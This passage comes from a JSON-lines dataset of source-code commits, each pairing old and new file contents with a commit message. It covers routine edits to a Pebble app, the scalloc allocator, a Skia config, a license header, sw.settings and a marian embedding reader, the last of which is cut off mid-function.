qw\/ReactiveCocoa,ReactiveCocoa\/ReactiveSwift,andersio\/ReactiveCocoa,jaylib\/ReactiveCocoa,yonekawa\/ReactiveCocoa,DongDongDongDong\/ReactiveCocoa,CCOOOOLL\/ReactiveCocoa,eyu1988\/ReactiveCocoa,xiaoliyang\/ReactiveCocoa,cstars135\/ReactiveCocoa,KuPai32G\/ReactiveCocoa,JohnJin007\/ReactiveCocoa,wangqi211\/ReactiveCocoa,Pikdays\/ReactiveCocoa,SuPair\/ReactiveCocoa,bensonday\/ReactiveCocoa,wangqi211\/ReactiveCocoa,Remitly\/ReactiveCocoa,juliangrosshauser\/ReactiveCocoa,jackywpy\/ReactiveCocoa,tipbit\/ReactiveCocoa,mxxiv\/ReactiveCocoa,valleyman86\/ReactiveCocoa,WEIBP\/ReactiveCocoa,richeterre\/ReactiveCocoa,zhigang1992\/ReactiveCocoa,nickcheng\/ReactiveCocoa,Adlai-Holler\/ReactiveCocoa,LHDsimon\/ReactiveCocoa,ailyanlu\/ReactiveCocoa,victorlin\/ReactiveCocoa,buildo\/ReactiveCocoa,ohwutup\/ReactiveCocoa,richeterre\/ReactiveCocoa,PSPDFKit-labs\/ReactiveCocoa,335g\/ReactiveCocoa,koamac\/ReactiveCocoa,j364960953\/ReactiveCocoa,alvinvarghese\/ReactiveCocoa,xiaoliyang\/ReactiveCocoa,eyu1988\/ReactiveCocoa,ceekayel\/ReactiveCocoa,natestedman\/ReactiveCocoa,stupidfive\/ReactiveCocoa,Pingco\/ReactiveCocoa,sugar2010\/ReactiveCocoa,huiping192\/ReactiveCocoa,zhiwen1024\/ReactiveCocoa,chieryw\/ReactiveCocoa,howandhao\/ReactiveCocoa,ReactiveCocoa\/ReactiveSwift,liufeigit\/ReactiveCocoa,isghe\/ReactiveCocoa,kaylio\/ReactiveCocoa,tornade0913\/ReactiveCocoa,CQXfly\/ReactiveCocoa,kaylio\/ReactiveCocoa,jaylib\/ReactiveCocoa,ShawnLeee\/ReactiveCocoa,esttorhe\/ReactiveCocoa,brightcove\/ReactiveCocoa,tornade0913\/ReactiveCocoa,monkeydbobo\/ReactiveCocoa,zzzworm\/ReactiveCocoa,isghe\/ReactiveCocoa,tzongw\/ReactiveCocoa,mattpetters\/ReactiveCocoa,tornade0913\/ReactiveCocoa,jrmiddle\/ReactiveCocoa,OneSmallTree\/ReactiveCocoa,terry408911\/ReactiveCocoa,KuPai32G\/ReactiveCocoa,fhchina\/ReactiveCocoa,jsslai\/ReactiveCocoa,sujeking\/ReactiveCocoa,bscarano\/ReactiveCocoa,BrooksWon\/ReactiveCocoa,DreamHill\/ReactiveCocoa,ericzhou2008\/ReactiveCocoa,Rupert-RR\/ReactiveCocoa,gabemdev\/ReactiveCocoa,BlessNeo\/ReactiveCocoa,libiao88\/ReactiveCocoa,DongDongDongDong\/ReactiveCocoa,loupman\/ReactiveCocoa,zzzworm\/ReactiveCocoa,loupman\/ReactiveCocoa,Ray0218\/ReactiveCocoa,stupidfive\/ReactiveCocoa,stevielu\/ReactiveCocoa,ohwutup\/ReactiveCocoa,tipbit\/ReactiveCocoa,goodheart\/ReactiveCocoa,KJin99\/ReactiveCocoa,calebd\/ReactiveCocoa,yizzuide\/ReactiveCocoa,tonyli508\/ReactiveCocoa,kevin-zqw\/ReactiveCocoa,sujeking\/ReactiveCocoa,llb1119\/test,yonekawa\/ReactiveCocoa,jianwoo\/ReactiveCocoa,zhenlove\/ReactiveCocoa,bensonday\/ReactiveCocoa,bencochran\/ReactiveCocoa,JohnJin007\/ReactiveCocoa,goodheart\/ReactiveCocoa,jianwoo\/ReactiveCocoa,Liquidsoul\/ReactiveCocoa,JohnJin007\/ReactiveCocoa,icepy\/ReactiveCocoa,ericzhou2008\/ReactiveCocoa,terry408911\/ReactiveCocoa,ShawnLeee\/ReactiveCocoa,tiger8888\/ReactiveCocoa,takeshineshiro\/ReactiveCocoa,dachaoisme\/ReactiveCocoa,shuxiashusheng\/ReactiveCocoa,CQXfly\/ReactiveCocoa,CQXfly\/ReactiveCocoa,dskatz22\/ReactiveCocoa,victorlin\/ReactiveCocoa,natestedman\/ReactiveCocoa,Rupert-RR\/ReactiveCocoa,yytong\/ReactiveCocoa,GuitarPlayer-Ma\/ReactiveCocoa,pzw224\/ReactiveCocoa,Ricowere\/ReactiveCocoa,loupman\/ReactiveCocoa,dz1111\/ReactiveCocoa,hilllinux\/ReactiveCocoa,AlanJN\/ReactiveCocoa,RuiAAPeres\/ReactiveCocoa,fanghao085\/ReactiveCocoa,wangqi211\/ReactiveCocoa,ReactiveCocoa\/ReactiveSwift,fanghao085\/ReactiveCocoa,on99\/ReactiveCocoa,ztchena\/ReactiveCocoa,ioshger0125\/ReactiveCocoa,jrmiddle\/ReactiveCocoa,huiping192\/ReactiveCocoa,zzzworm\/ReactiveCocoa,add715\/ReactiveCocoa,CCOOOOLL\/ReactiveCocoa,fhchina\/ReactiveCocoa,esttorhe\/ReactiveCocoa,cogddo\/ReactiveCocoa,rpowelll\/ReactiveCocoa,tonyli508\/ReactiveCocoa,natan\/ReactiveCocoa,pzw224\/ReactiveCocoa,gengjf\/ReactiveCocoa,zhigang1992\/ReactiveCocoa,bencochran\/ReactiveCocoa,msdgwzhy6\/ReactiveCocoa,howandhao\/ReactiveCocoa,ikesyo\/ReactiveCocoa,ailyanlu\/ReactiveCocoa,eyu1988\/ReactiveCocoa,cstars135\/ReactiveCocoa,jackywpy\/ReactiveCocoa,gengjf\/ReactiveCocoa,imkerberos\/ReactiveCocoa,DreamHill\/ReactiveCocoa,mtxs007\/ReactiveCocoa,yangyangluoluo\/ReactiveCocoa,200895045\/ReactiveCocoa,kiurentu\/ReactiveCocoa,chao95957\/ReactiveCocoa,SmartEncounter\/ReactiveCocoa,hbucius\/ReactiveCocoa,yoichitgy\/ReactiveCocoa,OneSmallTree\/ReactiveCocoa,pzw224\/ReactiveCocoa,j364960953\/ReactiveCocoa,stevielu\/ReactiveCocoa,eliperkins\/ReactiveCocoa,longv2go\/ReactiveCocoa,Juraldinio\/ReactiveCocoa,KuPai32G\/ReactiveCocoa,brasbug\/ReactiveCocoa,lixar\/ReactiveCocoa,Juraldinio\/ReactiveCocoa,libiao88\/ReactiveCocoa,dz1111\/ReactiveCocoa,smilypeda\/ReactiveCocoa,luerhouhou\/ReactiveCocoa,zzqiltw\/ReactiveCocoa,ddc391565320\/ReactiveCocoa,leichunfeng\/ReactiveCocoa,huiping192\/ReactiveCocoa,paulyoung\/ReactiveCocoa,BlessNeo\/ReactiveCocoa,sandyway\/ReactiveCocoa,xumaolin\/ReactiveCocoa,sandyway\/ReactiveCocoa,yangshengchaoios\/ReactiveCocoa,leelili\/ReactiveCocoa,AllanChen\/ReactiveCocoa,jrmiddle\/ReactiveCocoa,mattpetters\/ReactiveCocoa,jsslai\/ReactiveCocoa,jianwoo\/ReactiveCocoa,andersio\/ReactiveCocoa,msdgwzhy6\/ReactiveCocoa,BrooksWon\/ReactiveCocoa,juliangrosshauser\/ReactiveCocoa,Ray0218\/ReactiveCocoa,esttorhe\/ReactiveCocoa,towik\/ReactiveCocoa,libiao88\/ReactiveCocoa,Rupert-RR\/ReactiveCocoa,Eveian\/ReactiveCocoa,taylormoonxu\/ReactiveCocoa,OnTheWay1988\/ReactiveCocoa,qq644531343\/ReactiveCocoa,ddc391565320\/ReactiveCocoa,j364960953\/ReactiveCocoa,sdhzwm\/ReactiveCocoa,clg0118\/ReactiveCocoa,AlanJN\/ReactiveCocoa,dullgrass\/ReactiveCocoa,dskatz22\/ReactiveCocoa,JackLian\/ReactiveCocoa,FelixYin66\/ReactiveCocoa,mxxiv\/ReactiveCocoa,walkingsmarts\/ReactiveCocoa,takeshineshiro\/ReactiveCocoa,koamac\/ReactiveCocoa,bensonday\/ReactiveCocoa,zhukaixy\/ReactiveCocoa,calebd\/ReactiveCocoa,ceekayel\/ReactiveCocoa,huiping192\/ReactiveCocoa,zxq3220122\/ReactiveCocoa,GuitarPlayer-Ma\/ReactiveCocoa,WEIBP\/ReactiveCocoa,hoanganh6491\/ReactiveCocoa,yangshengchaoios\/ReactiveCocoa,zhaoguohui\/ReactiveCocoa,335g\/ReactiveCocoa,on99\/ReactiveCocoa,isghe\/ReactiveCocoa,tiger8888\/ReactiveCocoa,dz1111\/ReactiveCocoa,brasbug\/ReactiveCocoa,windgo\/ReactiveCocoa,ztchena\/ReactiveCocoa,JackLian\/ReactiveCocoa,Ethan89\/ReactiveCocoa,SanChain\/ReactiveCocoa,towik\/ReactiveCocoa,buildo\/ReactiveCocoa,AlanJN\/ReactiveCocoa,jackywpy\/ReactiveCocoa,AndyZhaoHe\/ReactiveCocoa,BrooksWon\/ReactiveCocoa,335g\/ReactiveCocoa,leichunfeng\/ReactiveCocoa,dullgrass\/ReactiveCocoa,hj3938\/ReactiveCocoa,hilllinux\/ReactiveCocoa,longv2go\/ReactiveCocoa,OnTheWay1988\/ReactiveCocoa,xulibao\/ReactiveCocoa,AllanChen\/ReactiveCocoa,stupidfive\/ReactiveCocoa,liufeigit\/ReactiveCocoa,200895045\/ReactiveCocoa,Ethan89\/ReactiveCocoa,mxxiv\/ReactiveCocoa,emodeqidao\/ReactiveCocoa,AndyZhaoHe\/ReactiveCocoa,bscarano\/ReactiveCocoa,add715\/ReactiveCocoa,jam891\/ReactiveCocoa,ikesyo\/ReactiveCocoa,nickcheng\/ReactiveCocoa,Liquidsoul\/ReactiveCocoa,eliperkins\/ReactiveCocoa,Remitly\/ReactiveCocoa,Eveian\/ReactiveCocoa,dskatz22\/ReactiveCocoa,richeterre\/ReactiveCocoa,KJin99\/ReactiveCocoa,PSPDFKit-labs\/ReactiveCocoa,ioshger0125\/ReactiveCocoa,SanChain\/ReactiveCocoa,icepy\/ReactiveCocoa,windgo\/ReactiveCocoa,xiaobing2007\/ReactiveCocoa,ceekayel\/ReactiveCocoa,Carthage\/ReactiveCocoa,smilypeda\/ReactiveCocoa,Ray0218\/ReactiveCocoa,itschaitanya\/ReactiveCocoa,luerhouhou\/ReactiveCocoa,CCOOOOLL\/ReactiveCocoa,cnbin\/ReactiveCocoa,stevielu\/ReactiveCocoa,towik\/ReactiveCocoa,shuxiashusheng\/ReactiveCocoa,luerhouhou\/ReactiveCocoa,beni55\/ReactiveCocoa,shuxiashusheng\/ReactiveCocoa,xumaolin\/ReactiveCocoa,xulibao\/ReactiveCocoa,Khan\/ReactiveCocoa,sugar2010\/ReactiveCocoa,zzqiltw\/ReactiveCocoa,vincentiss\/ReactiveCocoa,leichunfeng\/ReactiveCocoa,SmartEncounter\/ReactiveCocoa,longv2go\/ReactiveCocoa,PSPDFKit-labs\/ReactiveCocoa,zhiwen1024\/ReactiveCocoa,hj3938\/ReactiveCocoa,fanghao085\/ReactiveCocoa,dullgrass\/ReactiveCocoa,ddc391565320\/ReactiveCocoa,tonyarnold\/ReactiveCocoa,imkerberos\/ReactiveCocoa,zhaoguohui\/ReactiveCocoa,GuitarPlayer-Ma\/ReactiveCocoa,almassapargali\/ReactiveCocoa,yaoxiaoyong\/ReactiveCocoa,leelili\/ReactiveCocoa,imkerberos\/ReactiveCocoa,OneSmallTree\/ReactiveCocoa,yizzuide\/ReactiveCocoa,terry408911\/ReactiveCocoa,walkingsmarts\/ReactiveCocoa,Pikdays\/ReactiveCocoa,taylormoonxu\/ReactiveCocoa,chao95957\/ReactiveCocoa,kiurentu\/ReactiveCocoa,msdgwzhy6\/ReactiveCocoa,icepy\/ReactiveCocoa,almassapargali\/ReactiveCocoa,Remitly\/ReactiveCocoa,chieryw\/ReactiveCocoa,RuiAAPeres\/ReactiveCocoa,lixar\/ReactiveCocoa,paulyoung\/ReactiveCocoa,monkeydbobo\/ReactiveCocoa,shaohung001\/ReactiveCocoa,bscarano\/ReactiveCocoa,BlessNeo\/ReactiveCocoa,beni55\/ReactiveCocoa,zhigang1992\/ReactiveCocoa,zhenlove\/ReactiveCocoa,qq644531343\/ReactiveCocoa,taylormoonxu\/ReactiveCocoa,mtxs007\/ReactiveCocoa,FelixYin66\/ReactiveCocoa,jeelun\/ReactiveCocoa,Farteen\/ReactiveCocoa,brasbug\/ReactiveCocoa,takeshineshiro\/ReactiveCocoa,jaylib\/ReactiveCocoa,alvinvarghese\/ReactiveCocoa,jam891\/ReactiveCocoa,yytong\/ReactiveCocoa,zhenlove\/ReactiveCocoa,jam891\/ReactiveCocoa,zhaoguohui\/ReactiveCocoa,paulyoung\/ReactiveCocoa,victorlin\/ReactiveCocoa,wpstarnice\/ReactiveCocoa,xulibao\/ReactiveCocoa,xiaoliyang\/ReactiveCocoa,sugar2010\/ReactiveCocoa,cstars135\/ReactiveCocoa,clg0118\/ReactiveCocoa,goodheart\/ReactiveCocoa,tonyli508\/ReactiveCocoa,xumaolin\/ReactiveCocoa,natan\/ReactiveCocoa,natan\/ReactiveCocoa,Adlai-Holler\/ReactiveCocoa,nikita-leonov\/ReactiveCocoa,JackLian\/ReactiveCocoa,Ricowere\/ReactiveCocoa,ztchena\/ReactiveCocoa,yytong\/ReactiveCocoa,AndyZhaoHe\/ReactiveCocoa,monkeydbobo\/ReactiveCocoa,ericzhou2008\/ReactiveCocoa,kaylio\/ReactiveCocoa,WEIBP\/ReactiveCocoa,sdhzwm\/ReactiveCocoa,jsslai\/ReactiveCocoa,Farteen\/ReactiveCocoa,zhukaixy\/ReactiveCocoa,DongDongDongDong\/ReactiveCocoa,kiurentu\/ReactiveCocoa,cnbin\/ReactiveCocoa,shaohung001\/ReactiveCocoa,add715\/ReactiveCocoa,brightcove\/ReactiveCocoa,Adlai-Holler\/ReactiveCocoa,valleyman86\/ReactiveCocoa,zxq3220122\/ReactiveCocoa,natestedman\/ReactiveCocoa,cogddo\/ReactiveCocoa,nickcheng\/ReactiveCocoa,smilypeda\/ReactiveCocoa,vincentiss\/ReactiveCocoa,KJin99\/ReactiveCocoa,tzongw\/ReactiveCocoa,wpstarnice\/ReactiveCocoa,Carthage\/ReactiveCocoa,yaoxiaoyong\/ReactiveCocoa,jaylib\/ReactiveCocoa,hilllinux\/ReactiveCocoa,SuPair\/ReactiveCocoa,itschaitanya\/ReactiveCocoa,fhchina\/ReactiveCocoa,cogddo\/ReactiveCocoa,OnTheWay1988\/ReactiveCocoa,yaoxiaoyong\/ReactiveCocoa,Ricowere\/ReactiveCocoa,Ricowere\/ReactiveCocoa,clg0118\/ReactiveCocoa,buildo\/ReactiveCocoa,qq644531343\/ReactiveCocoa,hbucius\/ReactiveCocoa,vincentiss\/ReactiveCocoa,juliangrosshauser\/ReactiveCocoa,xiaobing2007\/ReactiveCocoa,liufeigit\/ReactiveCocoa,Juraldinio\/ReactiveCocoa,rpowelll\/ReactiveCocoa,andersio\/ReactiveCocoa,sujeking\/ReactiveCocoa,llb1119\/test,SuPair\/ReactiveCocoa,nickcheng\/ReactiveCocoa,Pingco\/ReactiveCocoa,hoanganh6491\/ReactiveCocoa,yangshengchaoios\/ReactiveCocoa,zzqiltw\/ReactiveCocoa,ioshger0125\/ReactiveCocoa,Liquidsoul\/ReactiveCocoa,chieryw\/ReactiveCocoa,howandhao\/ReactiveCocoa,yangyangluoluo\/ReactiveCocoa,Carthage\/ReactiveCocoa,llb1119\/test,eliperkins\/ReactiveCocoa,Khan\/ReactiveCocoa,walkingsmarts\/ReactiveCocoa,yangyangluoluo\/ReactiveCocoa,LHDsimon\/ReactiveCocoa,alvinvarghese\/ReactiveCocoa,zxq3220122\/ReactiveCocoa,mattpetters\/ReactiveCocoa,Ethan89\/ReactiveCocoa,shaohung001\/ReactiveCocoa,yonekawa\/ReactiveCocoa,LHDsimon\/ReactiveCocoa,SanChain\/ReactiveCocoa,Pingco\/ReactiveCocoa,emodeqidao\/ReactiveCocoa"}
{"commit":"e8740f26827c1aed33005aac3862e6e7840ee72d","old_file":"src\/Puddle.c","new_file":"src\/Puddle.c","old_contents":"#include \"pebble_os.h\"\n#include \"pebble_app.h\"\n#include \"pebble_fonts.h\"\n\n\n#define MY_UUID { 0xE3, 0x7B, 0xFC, 0xE9, 0x30, 0xD7, 0x4B, 0xC3, 0x96, 0x93, 0x15, 0x0C, 0x35, 0xDC, 0xB8, 0x58 }\nPBL_APP_INFO(MY_UUID,\n             \"Template App\", \"Your Company\",\n             1, 0, \/* App version *\/\n             DEFAULT_MENU_ICON,\n             APP_INFO_STANDARD_APP);\n\nWindow window;\n\n\nvoid handle_init(AppContextRef ctx) {\n\n  window_init(&window, \"Window Name\");\n  window_stack_push(&window, true \/* Animated *\/);\n}\n\n\nvoid pbl_main(void *params) {\n  PebbleAppHandlers handlers = {\n    .init_handler = &handle_init\n  };\n  app_event_loop(params, &handlers);\n}\n","new_contents":"#include \"pebble_os.h\"\n#include \"pebble_app.h\"\n#include \"pebble_fonts.h\"\n\n\n#define MY_UUID { 0xE3, 0x7B, 0xFC, 0xE9, 0x30, 0xD7, 0x4B, 0xC3, 0x96, 0x93, 0x15, 0x0C, 0x35, 0xDC, 0xB8, 0x58 }\nPBL_APP_INFO(MY_UUID,\n             \"Puddle\", \"Jon Speicher\",\n             0, 1, \/* App version *\/\n             DEFAULT_MENU_ICON,\n             APP_INFO_STANDARD_APP);\n\nWindow window;\n\n\nvoid handle_init(AppContextRef ctx) {\n\n  window_init(&window, \"Puddle Main\");\n  window_stack_push(&window, true \/* Animated *\/);\n}\n\n\nvoid pbl_main(void *params) {\n  PebbleAppHandlers handlers = {\n    .init_handler = &handle_init\n  };\n  app_event_loop(params, &handlers);\n}\n","subject":"Change framework app name, comopany, version, and window debug","message":"Change framework app name, comopany, version, and window debug\n","lang":"C","license":"mit","repos":"jonspeicher\/Puddle,jonspeicher\/Puddle,jonspeicher\/Puddle"}
{"commit":"9da39b0de57a9a7dfbc87379948d5c36c2c1078c","old_file":"src\/common.h","new_file":"src\/common.h","old_contents":"\/\/ Copyright (c) 2012-2013, the scalloc Project Authors.  All rights reserved.\n\/\/ Please see the AUTHORS file for details.  Use of this source code is governed\n\/\/ by a BSD license that can be found in the LICENSE file.\n\n#ifndef SCALLOC_COMMON_H_\n#define SCALLOC_COMMON_H_\n\n#define UNLIKELY(x)   __builtin_expect((x), 0)\n#define LIKELY(x)     __builtin_expect((x), 1)\n\n#define cache_aligned __attribute__((aligned(64)))\n\n#define always_inline inline __attribute__((always_inline))\n#define no_inline __attribute__((noinline))\n\nalways_inline size_t PadSize(size_t size, size_t multiple) {\n  return (size + multiple - 1) \/ multiple * multiple;\n}\n\n#endif  \/\/ SCALLOC_COMMON_H_\n","new_contents":"\/\/ Copyright (c) 2012-2013, the scalloc Project Authors.  All rights reserved.\n\/\/ Please see the AUTHORS file for details.  Use of this source code is governed\n\/\/ by a BSD license that can be found in the LICENSE file.\n\n#ifndef SCALLOC_COMMON_H_\n#define SCALLOC_COMMON_H_\n\n#define UNLIKELY(x)   __builtin_expect((x), 0)\n#define LIKELY(x)     __builtin_expect((x), 1)\n\n#define cache_aligned __attribute__((aligned(64)))\n\n#define always_inline inline __attribute__((always_inline))\n#define no_inline __attribute__((noinline))\n\nconst size_t kSystemPageSize = 4096;\n\nalways_inline size_t PadSize(size_t size, size_t multiple) {\n  return (size + multiple - 1) \/ multiple * multiple;\n}\n\n#endif  \/\/ SCALLOC_COMMON_H_\n","subject":"Add system page size constant.","message":"Add system page size constant.\n\nSigned-off-by: Michael Lippautz <0d543840881a2c189b4f7636b15eebd6a8f60ace@gmail.com>\n","lang":"C","license":"bsd-2-clause","repos":"cksystemsgroup\/scalloc,cksystemsgroup\/scalloc,cksystemsgroup\/scalloc"}
{"commit":"041a67a595d4afb732a1b5cc97843b0b05d1cff0","old_file":"include\/config\/SkUserConfigManual.h","new_file":"include\/config\/SkUserConfigManual.h","old_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_TEST_UTILS 1\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Disable these Ganesh features\n  #define SK_DISABLE_REDUCE_OPLIST_SPLITTING\n  \/\/ Check error is expensive. HWUI historically also doesn't check its allocations\n  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0\n\n  \/\/ Legacy flags\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n\n  \/\/ Staging flags\n  #define SK_LEGACY_PATH_ARCTO_ENDPOINT\n\n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_AA_CHOICE\n  #define SK_SUPPORT_LEGACY_AAA_CHOICE\n\n  #define SK_DISABLE_DAA  \/\/ skbug.com\/6886\n\n#endif \/\/ SkUserConfigManual_DEFINED\n","new_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_TEST_UTILS 1\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Disable these Ganesh features\n  #define SK_DISABLE_REDUCE_OPLIST_SPLITTING\n  \/\/ Check error is expensive. HWUI historically also doesn't check its allocations\n  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0\n\n  \/\/ Legacy flags\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n\n  \/\/ Staging flags\n  #define SK_LEGACY_PATH_ARCTO_ENDPOINT\n  #define SK_SUPPORT_STROKEANDFILL\n\n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_AA_CHOICE\n  #define SK_SUPPORT_LEGACY_AAA_CHOICE\n\n  #define SK_DISABLE_DAA  \/\/ skbug.com\/6886\n\n#endif \/\/ SkUserConfigManual_DEFINED\n","subject":"Add flag to stage API change","message":"Add flag to stage API change\n\nTest: make\n\nBug: 178700363\nChange-Id: I15d678d3896efb896d1b87f11f32df7787a53577\n","lang":"C","license":"bsd-3-clause","repos":"aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia"}
{"commit":"05b95d853c0ba6c4c27755245a5cac26c9fd8937","old_file":"src\/dsemem.h","new_file":"src\/dsemem.h","old_contents":"\/* dsemem.h\n *\n * routines for managing a free list of DataStackEntry structs\n *\n *\/\n#ifndef _DSEMEM_H_\n#define _DSEMEM_H_\n\n#include \"dataStackEntry.h\"\n\nDataStackEntry *dse_alloc(void);\nvoid           dse_free(DataStackEntry *dse);\n\n#endif \/* _DSEMEM_H_ *\/\n","new_contents":"\/*\n * Copyright (c) 2013, Court of the University of Glasgow\n * All rights reserved.\n\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n\n * - Redistributions of source code must retain the above copyright notice,\n *   this list of conditions and the following disclaimer.\n *\n * - Redistributions in binary form must reproduce the above copyright notice,\n *   this list of conditions and the following disclaimer in the documentation\n *   and\/or other materials provided with the distribution.\n *\n * - Neither the name of the University of Glasgow nor the names of its\n *   contributors may be used to endorse or promote products derived from this\n *   software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/* dsemem.h\n *\n * routines for managing a free list of DataStackEntry structs\n *\n *\/\n#ifndef _DSEMEM_H_\n#define _DSEMEM_H_\n\n#include \"dataStackEntry.h\"\n\nDataStackEntry *dse_alloc(void);\nvoid           dse_free(DataStackEntry *dse);\n\n#endif \/* _DSEMEM_H_ *\/\n","subject":"Add BSD 3-clause open source header","message":"Add BSD 3-clause open source header\n","lang":"C","license":"bsd-3-clause","repos":"fergul\/Cache,jsventek\/Cache,jsventek\/Cache,jsventek\/Cache,fergul\/Cache,fergul\/Cache"}
{"commit":"e9ee6c8da6a11aed867a9eadefd7a03c3b7e0b82","old_file":"src\/sw\/settings\/include\/primitives\/sw\/sw.settings.program_name.h","new_file":"src\/sw\/settings\/include\/primitives\/sw\/sw.settings.program_name.h","old_contents":"#include <primitives\/sw\/settings_program_name.h>\n\n#if defined(SW_EXECUTABLE)\nEXPORT_FROM_EXECUTABLE\nstd::string getProgramName()\n{\n    \/\/ this will trigger build error if executable forget to set\n    \/\/ PackageDefinitions = true;\n#ifndef PACKAGE_NAME_CLEAN\n#error \"Set '.PackageDefinitions = true;' on your target.\"\n#endif\n    return PACKAGE_NAME_CLEAN;\n}\n\n\/\/ use gitrev instead?\nEXPORT_FROM_EXECUTABLE\nstd::string getVersionString()\n{\n    std::string s;\n    s += ::sw::getProgramName();\n    s += \" version \";\n    s += PACKAGE_VERSION;\n    s += \"\\n\";\r\n    s += \"assembled \" __DATE__ \" \" __TIME__;\n    return s;\n}\n#endif\n","new_contents":"#include <primitives\/sw\/settings_program_name.h>\n\n#if defined(SW_EXECUTABLE) && !defined(SW_CUSTOM_PROGRAM_NAME)\nEXPORT_FROM_EXECUTABLE\nstd::string getProgramName()\n{\n    \/\/ this will trigger build error if executable forget to set\n    \/\/ PackageDefinitions = true;\n#ifndef PACKAGE_NAME_CLEAN\n#error \"Set '.PackageDefinitions = true;' on your target.\"\n#endif\n    return PACKAGE_NAME_CLEAN;\n}\n\n\/\/ use gitrev instead?\nEXPORT_FROM_EXECUTABLE\nstd::string getVersionString()\n{\n    std::string s;\n    s += ::sw::getProgramName();\n    s += \" version \";\n    s += PACKAGE_VERSION;\n    s += \"\\n\";\r\n    s += \"assembled \" __DATE__ \" \" __TIME__;\n    return s;\n}\n#endif\n","subject":"Allow to define custom program name.","message":"[sw.settings] Allow to define custom program name.\n","lang":"C","license":"mpl-2.0","repos":"egorpugin\/primitives,egorpugin\/primitives"}
{"commit":"12665d4150306223d969787e1b00ab0e99101976","old_file":"src\/layers\/embedding_reader.h","new_file":"src\/layers\/embedding_reader.h","old_contents":"","new_contents":"#pragma once\n\n#include <fstream>\n#include <string>\n#include <vector>\n\n#include \"3rd_party\/exception.h\"\n#include \"common\/definitions.h\"\n#include \"common\/utils.h\"\n#include \"data\/vocab.h\"\n#include \"data\/types.h\"\n#include \"layers\/param_initializers.h\"\n\nnamespace marian {\n\nclass EmbeddingReader {\npublic:\n  EmbeddingReader() {}\n\n  std::vector<float> read(const std::string& fileName,\n                          int dimVoc,\n                          int dimEmb) {\n    std::ifstream embFile(fileName);\n    UTIL_THROW_IF2(!embFile.is_open(),\n                   \"Unable to open file with embeddings: \" + fileName);\n    std::string line;\n\n    \/\/ Read the first line with two values: a number of words in the vocabulary\n    \/\/ and the length of embedding vector\n    std::getline(embFile, line);\n    std::vector<std::string> values;\n    Split(line, values);\n    UTIL_THROW_IF2(values.size() != 2,\n                   \"Unexpected format of the first line in file with embeddings\");\n    UTIL_THROW_IF2(stoi(values[1]) != dimEmb,\n                   \"Unexpected length of embedding vectors\");\n\n    \/\/ Read embedding vectors of words present in the vocabulary\n    std::unordered_map<Word, std::vector<float>> word2vec;\n    while(std::getline(embFile, line)) {\n      values.clear();\n      Split(line, values);\n\n      Word word = std::stoi(values.front());\n\n      \/\/ Skip unknown words, but not <unk> word\n      if(word == UNK_ID && values.front() != UNK_STR)\n        continue;\n\n      std::transform(values.begin() + 1,\n                     values.end(),\n                     word2vec[word].begin(),\n                     [](const std::string& s) { return std::stof(s); });\n    }\n\n    std::vector<float> embs;\n    embs.reserve(dimVoc * dimEmb);\n\n    \/\/ Populate output vector with embedding\n    for(size_t word = 0; word < (size_t)dimVoc; ++word) {\n      auto pos = embs.begin() + (word * dimEmb);\n\n      if(word2vec.find(word) != word2vec.end()) {\n        embs.insert(pos, word2vec[word].begin(), word2vec[word].end());\n      } else {\n        \/\/ For words not occuring in the file use uniform distribution\n        std::vector<float> values;\n        